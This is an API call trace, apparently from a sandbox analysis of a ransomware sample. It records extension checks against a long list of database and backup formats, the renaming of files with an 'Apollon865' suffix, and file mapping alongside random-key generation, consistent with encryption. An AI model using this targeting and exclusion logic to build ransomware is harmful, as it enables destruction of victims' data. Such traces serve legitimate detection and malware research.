	[0083.174] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0083.174] lstrlenW (lpString="mas") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0083.174] lstrlenW (lpString="mav") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0083.174] lstrlenW (lpString="maw") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0083.175] lstrlenW (lpString="mdbhtml") returned 7
	[0083.175] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0083.175] lstrlenW (lpString="mdn") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0083.175] lstrlenW (lpString="mdt") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0083.175] lstrlenW (lpString="mfd") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0083.175] lstrlenW (lpString="mpd") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0083.175] lstrlenW (lpString="mrg") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0083.175] lstrlenW (lpString="mud") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0083.175] lstrlenW (lpString="mwb") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0083.175] lstrlenW (lpString="myd") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0083.175] lstrlenW (lpString="ndf") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0083.175] lstrlenW (lpString="nnt") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0083.175] lstrlenW (lpString="nrmlib") returned 6
	[0083.175] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0083.175] lstrlenW (lpString="ns2") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0083.175] lstrlenW (lpString="ns3") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0083.175] lstrlenW (lpString="ns4") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0083.175] lstrlenW (lpString="nsf") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.175] lstrlenW (lpString="nv") returned 2
	[0083.175] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.175] lstrlenW (lpString="nv2") returned 3
	[0083.175] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.176] lstrlenW (lpString="nwdb") returned 4
	[0083.176] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.176] lstrlenW (lpString="nyf") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.176] lstrlenW (lpString="odb") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.176] lstrlenW (lpString="odb") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.176] lstrlenW (lpString="oqy") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.176] lstrlenW (lpString="ora") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.176] lstrlenW (lpString="orx") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.176] lstrlenW (lpString="owc") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.176] lstrlenW (lpString="p96") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.176] lstrlenW (lpString="p97") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.176] lstrlenW (lpString="pan") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.176] lstrlenW (lpString="pdb") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.176] lstrlenW (lpString="pdm") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.176] lstrlenW (lpString="pnz") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.176] lstrlenW (lpString="qry") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.176] lstrlenW (lpString="qvd") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.176] lstrlenW (lpString="rbf") returned 3
	[0083.176] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.176] lstrlenW (lpString="rctd") returned 4
	[0083.176] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.176] lstrlenW (lpString="rod") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.177] lstrlenW (lpString="rodx") returned 4
	[0083.177] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.177] lstrlenW (lpString="rpd") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.177] lstrlenW (lpString="rsd") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.177] lstrlenW (lpString="sas7bdat") returned 8
	[0083.177] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.177] lstrlenW (lpString="sbf") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.177] lstrlenW (lpString="scx") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.177] lstrlenW (lpString="sdb") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.177] lstrlenW (lpString="sdc") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.177] lstrlenW (lpString="sdf") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.177] lstrlenW (lpString="sis") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.177] lstrlenW (lpString="spq") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.177] lstrlenW (lpString="te") returned 2
	[0083.177] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.177] lstrlenW (lpString="teacher") returned 7
	[0083.177] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.177] lstrlenW (lpString="tmd") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.177] lstrlenW (lpString="tps") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.177] lstrlenW (lpString="trc") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.177] lstrlenW (lpString="trc") returned 3
	[0083.177] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.177] lstrlenW (lpString="trm") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.178] lstrlenW (lpString="udb") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.178] lstrlenW (lpString="udl") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.178] lstrlenW (lpString="usr") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.178] lstrlenW (lpString="v12") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.178] lstrlenW (lpString="vis") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.178] lstrlenW (lpString="vpd") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.178] lstrlenW (lpString="vvv") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.178] lstrlenW (lpString="wdb") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.178] lstrlenW (lpString="wmdb") returned 4
	[0083.178] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.178] lstrlenW (lpString="wrk") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.178] lstrlenW (lpString="xdb") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.178] lstrlenW (lpString="xld") returned 3
	[0083.178] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.178] lstrlenW (lpString="xmlff") returned 5
	[0083.178] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.178] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.Apollon865") returned 81
	[0083.178] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.180] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.182] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=31584) returned 1
	[0083.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.186] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.186] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.186] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.186] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.187] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e60, lpName=0x0) returned 0x15c
	[0083.188] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e60) returned 0x100000
	[0083.200] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.201] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.201] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0083.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0083.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.201] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0083.202] CloseHandle (hObject=0x15c) returned 1
	[0083.202] CloseHandle (hObject=0x9c) returned 1
	[0083.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.202] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".") returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="..") returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="windows") returned -1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="temp") returned -1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="boot") returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="perflogs") returned -1
	[0083.202] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0083.203] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0083.203] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned 70
	[0083.203] lstrcpyW (in: lpString1=0x119e670, lpString2="ONINTL.REST.trx_dll" | out: lpString1="ONINTL.REST.trx_dll") returned="ONINTL.REST.trx_dll"
	[0083.203] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0083.203] lstrlenW (lpString="Apollon865") returned 10
	[0083.203] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0083.203] lstrlenW (lpString=".dll") returned 4
	[0083.203] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0083.203] lstrlenW (lpString=".lnk") returned 4
	[0083.203] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0083.203] lstrlenW (lpString=".ini") returned 4
	[0083.203] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0083.203] lstrlenW (lpString=".sys") returned 4
	[0083.203] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0083.203] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0083.203] lstrlenW (lpString="bak") returned 3
	[0083.203] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.203] lstrlenW (lpString="ba_") returned 3
	[0083.203] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.203] lstrlenW (lpString="dbb") returned 3
	[0083.203] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.203] lstrlenW (lpString="vmdk") returned 4
	[0083.203] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.203] lstrlenW (lpString="rar") returned 3
	[0083.203] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.203] lstrlenW (lpString="zip") returned 3
	[0083.203] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.203] lstrlenW (lpString="tgz") returned 3
	[0083.203] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.203] lstrlenW (lpString="vbox") returned 4
	[0083.203] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.203] lstrlenW (lpString="vdi") returned 3
	[0083.203] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.203] lstrlenW (lpString="vhd") returned 3
	[0083.203] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.203] lstrlenW (lpString="vhdx") returned 4
	[0083.203] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.203] lstrlenW (lpString="avhd") returned 4
	[0083.204] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.204] lstrlenW (lpString="db") returned 2
	[0083.204] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.204] lstrlenW (lpString="db2") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.204] lstrlenW (lpString="db3") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.204] lstrlenW (lpString="dbf") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.204] lstrlenW (lpString="mdf") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.204] lstrlenW (lpString="mdb") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.204] lstrlenW (lpString="sql") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.204] lstrlenW (lpString="sqlite") returned 6
	[0083.204] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.204] lstrlenW (lpString="sqlite3") returned 7
	[0083.204] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.204] lstrlenW (lpString="sqlitedb") returned 8
	[0083.204] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.204] lstrlenW (lpString="xml") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.204] lstrlenW (lpString="$er") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.204] lstrlenW (lpString="4dd") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.204] lstrlenW (lpString="4dl") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.204] lstrlenW (lpString="^^^") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.204] lstrlenW (lpString="abs") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.204] lstrlenW (lpString="abx") returned 3
	[0083.204] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.204] lstrlenW (lpString="accdb") returned 5
	[0083.204] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.204] lstrlenW (lpString="accdc") returned 5
	[0083.204] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.205] lstrlenW (lpString="accde") returned 5
	[0083.205] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.205] lstrlenW (lpString="accdr") returned 5
	[0083.205] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.205] lstrlenW (lpString="accdt") returned 5
	[0083.205] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.205] lstrlenW (lpString="accdw") returned 5
	[0083.205] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.205] lstrlenW (lpString="accft") returned 5
	[0083.205] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.205] lstrlenW (lpString="adb") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.205] lstrlenW (lpString="adb") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.205] lstrlenW (lpString="ade") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.205] lstrlenW (lpString="adf") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.205] lstrlenW (lpString="adn") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.205] lstrlenW (lpString="adp") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.205] lstrlenW (lpString="alf") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.205] lstrlenW (lpString="ask") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.205] lstrlenW (lpString="btr") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.205] lstrlenW (lpString="cat") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.205] lstrlenW (lpString="cdb") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.205] lstrlenW (lpString="ckp") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.205] lstrlenW (lpString="cma") returned 3
	[0083.205] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.205] lstrlenW (lpString="cpd") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.206] lstrlenW (lpString="dacpac") returned 6
	[0083.206] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.206] lstrlenW (lpString="dad") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.206] lstrlenW (lpString="dadiagrams") returned 10
	[0083.206] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0083.206] lstrlenW (lpString="daschema") returned 8
	[0083.206] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.206] lstrlenW (lpString="db-journal") returned 10
	[0083.206] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0083.206] lstrlenW (lpString="db-shm") returned 6
	[0083.206] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.206] lstrlenW (lpString="db-wal") returned 6
	[0083.206] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.206] lstrlenW (lpString="dbc") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.206] lstrlenW (lpString="dbs") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.206] lstrlenW (lpString="dbt") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.206] lstrlenW (lpString="dbv") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.206] lstrlenW (lpString="dbx") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.206] lstrlenW (lpString="dcb") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.206] lstrlenW (lpString="dct") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.206] lstrlenW (lpString="dcx") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.206] lstrlenW (lpString="ddl") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.206] lstrlenW (lpString="dlis") returned 4
	[0083.206] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.206] lstrlenW (lpString="dp1") returned 3
	[0083.206] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.207] lstrlenW (lpString="dqy") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.207] lstrlenW (lpString="dsk") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.207] lstrlenW (lpString="dsn") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.207] lstrlenW (lpString="dtsx") returned 4
	[0083.207] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.207] lstrlenW (lpString="dxl") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.207] lstrlenW (lpString="eco") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.207] lstrlenW (lpString="ecx") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.207] lstrlenW (lpString="edb") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.207] lstrlenW (lpString="epim") returned 4
	[0083.207] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.207] lstrlenW (lpString="fcd") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.207] lstrlenW (lpString="fdb") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.207] lstrlenW (lpString="fic") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.207] lstrlenW (lpString="flexolibrary") returned 12
	[0083.207] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0083.207] lstrlenW (lpString="fm5") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.207] lstrlenW (lpString="fmp") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.207] lstrlenW (lpString="fmp12") returned 5
	[0083.207] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.207] lstrlenW (lpString="fmpsl") returned 5
	[0083.207] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.207] lstrlenW (lpString="fol") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.207] lstrlenW (lpString="fp3") returned 3
	[0083.207] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.208] lstrlenW (lpString="fp4") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.208] lstrlenW (lpString="fp5") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.208] lstrlenW (lpString="fp7") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.208] lstrlenW (lpString="fpt") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.208] lstrlenW (lpString="frm") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.208] lstrlenW (lpString="gdb") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.208] lstrlenW (lpString="gdb") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.208] lstrlenW (lpString="grdb") returned 4
	[0083.208] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.208] lstrlenW (lpString="gwi") returned 3
	[0083.208] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
